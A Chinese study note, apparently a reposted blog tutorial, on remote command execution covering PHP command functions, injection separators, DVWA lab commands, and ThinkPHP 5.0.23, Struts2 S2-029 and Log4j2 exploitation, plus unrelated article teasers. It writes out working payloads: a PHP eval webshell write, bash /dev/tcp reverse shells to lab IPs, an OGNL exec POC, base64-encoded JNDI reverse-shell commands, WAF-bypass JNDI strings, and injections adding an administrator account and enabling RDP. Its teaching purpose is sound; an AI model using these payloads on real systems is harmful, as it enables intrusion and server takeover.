No.27 笔记 | RCE远程命令执行基础

embedded/2024/12/27 1:31:11/

在这里插入图片描述

一、RCE概述

(一)定义

RCE指攻击者可以通过远程方式在目标系统上执行恶意代码的漏洞或攻击技术,范围广泛,包括代码执行、文件包含、反序列化、命令执行、写文件Getshell等情况。

(二)危害

  1. 攻击者可继承Web服务程序权限执行系统命令。
  2. 能反弹shell,进而控制整个网站甚至服务器。
  3. 可进一步进行内网渗透。

(三)常见漏洞类型

  1. 远程代码注入
    • SQL注入、OS注入、XML实体注入等。
  2. 文件上传
  3. 反序列化
  4. 远程命令执行
  5. 远程文件包含

(四)命令执行漏洞成因

  1. 应用系统设计需提供远程命令操作接口,但未做严格安全控制。
  2. Web应用脚本代码执行命令时过滤不严,导致可注入恶意代码。

二、命令执行相关知识

(一)常见函数(以PHP为例)

  1. exec
    • 返回值为命令执行结果的最后一行内容,失败时返回false。
    • 示例:<?php $b = exec('whoami'); var_dump($b);?>
  2. system
    • 执行结果输出并以字符串返回,若PHP运行在服务器模块中,还会自动刷新web服务器输出缓存,执行失败返回false。
    • 示例:<?php system('whoami');?>
  3. passthru
    • 执行外部程序并显示原始输出,适用于Unix命令输出二进制数据且需直接传送到浏览器的情况。
    • 示例:<?php passthru('whoami');?>
  4. shell_exec
    • 通过shell执行命令并将完整输出以字符串方式返回。
    • 示例:<?php var_dump(shell_exec('ipconfig'));?>
  5. 反引号(`)
    • shell_exec()函数的变体,可执行命令。
    • 示例:<?php echo whoami;?>

(二)工作原理

攻击者通过Web页面提交恶意执行脚本或程序,利用应用系统中未严格控制的命令操作接口,使服务器执行恶意指令,从而实现控制、入侵或破坏目的。

(三)利用条件

  1. 应用调用执行系统命令的函数。
  2. 将用户输入作为系统命令参数拼接到命令行中。
  3. 未对用户输入进行过滤或过滤不严。

(四)漏洞分类

  1. 代码层过滤不严
    • 商业应用核心代码封装在二进制文件中,通过system函数调用系统漏洞造成命令注入。
    • 如bash破壳漏洞(CVE - 2014 - 6271)。
  2. 调用第三方组件存在漏洞
    • WordPress中ImageMagick组件、JAVA中struts2等框架、ThinkPHP等存在命令执行漏洞。

(五)利用方式

  1. 利用操作系统中的命令连接符(如&、|、||等),在未指定绝对路径情况下执行恶意命令。
  2. 常见特殊字符利用方式(以Windows和Linux为例)
    • Windows
      • |:直接执行后面的语句(如ping 127.0.0.1|whoami)。
      • ||:前面出错执行后面的(如ping2|whoami)。
      • &:前面的语句为假则直接执行后面的,前面可真可假(如ping 127.0.0.1&whoami)。
      • &&:前面的语句为假则直接出错,后面的也不执行,前面只能为真(如ping 127.0.0.1&&whoami)。
    • Linux
      • ,:前面的执行完执行后面的(如ping 127.0.0.1,whoami)。
      • |:管道符,显示后面的执行结果(如ping 127.0.0.1|whoami)。
      • ||:当前面的执行出错时执行后面的(如ping1|whoami)。
      • &:前面的语句为假则直接执行后面的,前面可真可假(如ping 127.0.0.1&whoami)。
      • &&:前面的语句为假则直接出错,后面的也不执行,前面只能为真(如ping 127.0.0.1&&whoami)。

(六)常用命令

  1. Windows
    • dir:查看文件目录。
    • ipconfig:查看Windows的IP地址。
    • arp - a:查看ARP缓存表。
    • calc:在命令行打开计算器。
    • regedit:打开注册表。
    • netstat - ano:查看开放的端口信息。
  2. Linux
    • cat /etc/passwd:查看passwd文件。
    • id:查看该用户的ID号。
    • groups:查看用户所属的组。
    • cat /etc/group:查看组信息。
    • whoami:查看当前用户。
    • pwd:查看当前路径。
    • uname - a:查看主机信息。
    • cat /etc/issue:查看主机的配置信息。
    • netstat - pantu:查看开放的端口信息。
    • netstat - nr:查看路由信息。

(七)靶场测试(以DVWA为例)

  1. DVWA命令执行分析(low.php)
    • 代码通过REQUEST获取POST、GET提交的数据,根据操作系统类型执行ping命令,未对输入参数进行过滤。
    • 可利用特殊字符执行多条命令,如127.0.0.1&&whoami等。
  2. 命令执行任务
    • 创建用户:127.0.0.1&net user c /add
    • 将用户添加到管理员组:127.0.0.1&net localgroup Administrators c /add
    • 激活用户:127.0.0.1&net user c /active:yes
    • 开启远程管理服务(修改注册表):127.0.0.1 &reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

(八)防御措施

  1. 尽量少用执行命令的函数或直接禁用。
  2. 参数值尽量用引号包括。
  3. 使用动态函数前,确保函数是指定函数之一。
  4. 进入执行命令的函数/方法前,对参数过滤,对敏感字符转义。

三、Thinkphp框架漏洞

(一)Thinkphp框架简介

  1. 免费开源、快速简单的面向对象轻量级PHP开发框架,用于敏捷WEB应用和企业应用开发。
  2. 核心版本有ThinkPHP 2系列、3系列、5系列、6系列,其中ThinkPHP 5系列使用较多,ThinkPHP 3系列历史用户较多,ThinkPHP 2和3系列已停止维护。

(二)Thinkphp5.0.23远程代码执行漏洞

  1. 漏洞成因
    • 框架底层对控制器名过滤不严,攻击者可通过url调用内部敏感函数,导致getshell漏洞。
  2. 漏洞影响范围
    • ThinkPHP5.0.0 - 5.0.23版本。
  3. 利用方式
    • 示例POC(Windows):_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
    • 实验步骤:
      • 启动靶场,查看实验环境。
      • 利用system函数远程命令执行,如通过phpinfo函数查看信息(_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=phpinfo)。
      • 写入shell(_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]);?>" > shell.php),并使用菜刀连接。
      • 反弹shell(需进行url特殊符号编码):_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+c+"bash%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.188.116%2F9999%200%3E%261"

(三)Thinkphp反弹shell

  1. nc在攻击机上开启监听(如nc -lvnp 9999)。
  2. 在目标网站存在漏洞处执行反弹shell的POC。
  3. 反弹shell成功后,攻击机可远程连接目标网站。

(四)Thinkphp漏洞复现注意事项

  1. 部分字符url编码不编码均可,但在某些环境下可能需要编码。
  2. 不同操作系统下POC可能略有不同。

四、Struts2框架漏洞

(一)Struts2框架简介

  1. apache项目下的web框架,广泛应用于互联网、政府、企业门户网站。
  2. 框架分为核心控制器FilterDispatcher、业务控制器Action和企业业务逻辑组件。

(二)漏洞介绍

  1. 根源是引入OGNL表达式使框架具有动态性,但也导致了远程代码执行漏洞。
  2. 随着框架补丁完善,挖掘新漏洞变难,目前主要用于渗透测试中碰碰运气或攻击内网未打补丁系统。

(三)漏洞原理

  1. OGNL表达式可获取运行变量值并执行函数调用,若恶意请求参数进入ognl执行流程,会导致任意代码执行。
  2. 框架执行恶意用户传入的OGNL表达式,造成多种危害,如命令执行、服务器文件操作等。

(四)框架特征

  1. URL接口地址以“.action”或“.do”结尾。
  2. 地址中包含“!”符号。
  3. 应用所在目录/WEB - INF/lib/下存在struts2 - core - 2..**.jar或xwork - core - 2..**.jar格式的jar文件。

(五)S2 - 029漏洞复现

  1. 原理
    • Struts2标签库使用OGNL表达式访问ActionContext对象数据,将ActionContext设为OGNL上下文并加入根对象,解析标签值时执行OGNL表达式,从而可利用其进行远程代码执行。
  2. 影响版本
    • Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)。
  3. 复现步骤
    • 拉取漏洞环境镜像(docker pull medicean/vulapps:s_struts2_s2 - 029)。
    • 启动漏洞环境(docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2 - 029)。
    • 访问xxx.xxx.xxx.xxx:8080/default.action并添加“message”参数。

(六)漏洞利用

  1. 工具利用
    • 如Liqun工具箱等,输入目标URL、选择漏洞编号、提交方式,输入要执行的命令(如whoami)进行检测。
  2. 手工利用
    • 示例POC:(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess'] =true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23 _memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec('id').getInputStream()))(注意url编码)。

五、Log4j2框架漏洞

(一)漏洞背景

  1. 2021年11月24日,阿里云安全团队报告该漏洞,由于Log4j2某些功能递归解析,攻击者可构造恶意请求触发远程代码执行漏洞,影响广泛,涉及Apache Struts2、Apache Solr等多个组件。
  2. 2021年12月9日,国内机构监测并通报,因漏洞可使未认证用户远程执行任意代码,威胁等级严重。

(二)影响版本

Log4j2.x <= 2.14.1。

(三)漏洞原理

  1. Log4j2组件处理日志记录时存在JNDI注入缺陷,攻击者通过构造恶意数据触发解析缺陷,实现任意代码执行。
  2. Log4j2默认支持解析ldap/rmi协议,会从ldap服务端获取Class文件并加载执行,攻击者利用此特性,通过构造特殊请求(如${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp})触发漏洞。

(四)JNDI简介

  1. JNDI(Java Naming and Directory Interface)是为Java应用程序提供命名和目录功能的API接口。
  2. 命名服务提供键值对绑定功能,目录服务是特殊命名服务,可对目录对象进行绑定、查询和属性操作,JNDI抽象统一了对各种目录服务(如LDAP、RMI、DNS)的访问接口。

(五)LDAP简介

  1. LDAP(Lightweight Directory Access Protocol)是轻型目录访问协议,可理解为简单存储数据的数据库。
  2. 有客户端和服务器端,服务器端存放资源,客户端用于查询等操作,默认端口1389。

(六)漏洞利用

  1. 反弹shell操作(以vulhub靶场为例)
    • 访问http://xxxxxx:8983/http://xxxxxx:8983/solr/admin/cores?action=${jndi:ldap://xxxxxx.dnslog.cn}进行漏洞探测。
    • 运行JNDI - Injection - Exploit - 1.0 - SNAPSHOT - all.jar(或使用其他版本工具)。
    • 构造反弹shell命令(如/bin/bash -i >& /dev/tcp/192.168.179.128/7777 0>&1,并进行base64编码),启动JNDI - Injection - Exploit时指定相关参数(如java -jar JNDI - Injection - Exploit - 1.0 - SNAPSHOT - all.jar -C "bash -c {echo, L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc5LjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.179.128"),同时在Kali另一个终端开启nc监听(如nc -lvvp 7777)。
  2. 漏洞复现步骤
    • 拉取docker环境(docker pull vulfocus/log4j2 - rce - 2021 - 12 - 09)。
    • 启动环境并查看镜像(docker images),启动并端口映射(docker run -d -p 8080:8080 vulfocus/log4j2 - rce - 2021 - 12 - 09)。
    • 生成DNSlog并替换进payload(如${jndi:ldap://DNSLog/exp}),发送数据给靶机,刷新DNSLog页面查询记录,若有记录说明存在漏洞。
    • 利用工具(如java -jar JNDIExploit - 1.2 - SNAPSHOT.jar -i 192.168.188.132)同时启动相关端口,构造反弹shell的POC(如${jndi:ldap://192.168.188.132:1389/TomcatBypass/TomcatEcho},并进行url编码),执行命令(如whoami)。
  3. WAF绕过技巧
    • Log4j2支持变量嵌套解析,可通过构造特殊格式的payload绕过WAF检测,如${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}等。

http://www.ppmy.cn/embedded/149052.html

相关文章

云手机群控能用来做什么?

随着云手机的发展&#xff0c;云手机群控技术逐渐从小众的游戏多开工具&#xff0c;发展为涵盖多个领域的智能操作平台。不论是手游搬砖、短视频运营&#xff0c;还是账号养成等场景&#xff0c;云手机群控都展现出了强大的应用潜力。本文将为大家详细解析云手机群控的应用场景…

关于UDP缓冲区和丢包统计

Tunning and observing UDP buffers 调整和观察 UDP 缓冲区 UDP 缓冲区由 7 个 sysctl 参数控制。单个缓冲区的大小由以下参数控制&#xff1a; net.core.wmem_default、net.core.wmem_max&#xff1a; 控制套接字默认和最大发送缓冲区大小&#xff0c;单位为字节。 每个套…

uni-app 跨端开发精美开源UI框架推荐

&#x1f380;&#x1f380;&#x1f380;uni-app 跨端开发系列 &#x1f380;&#x1f380;&#x1f380; 一、uni-app 组成和跨端原理 二、uni-app 各端差异注意事项 三、uni-app 离线本地存储方案 四、uni-app UI库、框架、组件选型指南 五、uni-app 蓝牙开发 六、uni-app …

解决:excel鼠标滚动幅度太大如何调节?

在excel里为什么滚动一次跳过很多行呢&#xff1f;很不方便。。。 1. 问题&#xff1a; 一开始单元格从第1行开始&#xff1a; 鼠标轻轻滚动一下后&#xff0c;直接跳到第4行&#xff1a; 鼠标在word和浏览器里都是好好的。在excel里为什么不是滚动一次跳过一行呢&#xff…

基于Spring Boot的个人健康管理系统

一、系统背景与意义 随着现代生活节奏的加快和人们健康意识的日益增强&#xff0c;个人健康管理成为了人们关注的焦点。然而&#xff0c;传统的健康管理方式往往依赖于纸质记录、定期体检等手段&#xff0c;不仅效率低下&#xff0c;而且难以实现对健康数据的持续跟踪和深入分…

Nginx的stream模块代理四层协议TCP的流量转发

Nginx的stream模块是一个功能强大的工具&#xff0c;专门用于处理四层协议&#xff08;即网络层和传输层&#xff0c;如TCP和UDP&#xff09;的流量。以下是对Nginx stream模块的详细解析&#xff1a; 一、基本功能 Nginx的stream模块主要用于实现TCP和UDP数据流的代理、转发…

workman服务端开发模式-应用开发-后端api推送工具开发

一、安装workerman/gatewayclient composer require workerman/gatewayclient 二、工具集开发 在根目录下extend文件夹下创建文件夹并命名为Workman&#xff0c;在Woekman文件夹下创建推送工具并命名为GatewayWork.php&#xff0c;代码如下&#xff1a; <?php /*** 长链…

面试经典问题 —— 最大/小前K个数问题(top - K)问题

目录 常见思路更优的解法&#xff08;面试官喜欢的&#xff09; 常见思路 要选出最小的前K个数首先我们会想到排排升序建大堆&#xff0c;排降序建小堆 一个直观的想法是使用&#xff08;小根堆&#xff09;&#xff0c;起始将所有元素放入堆中&#xff0c;然后再从堆中取出k 个…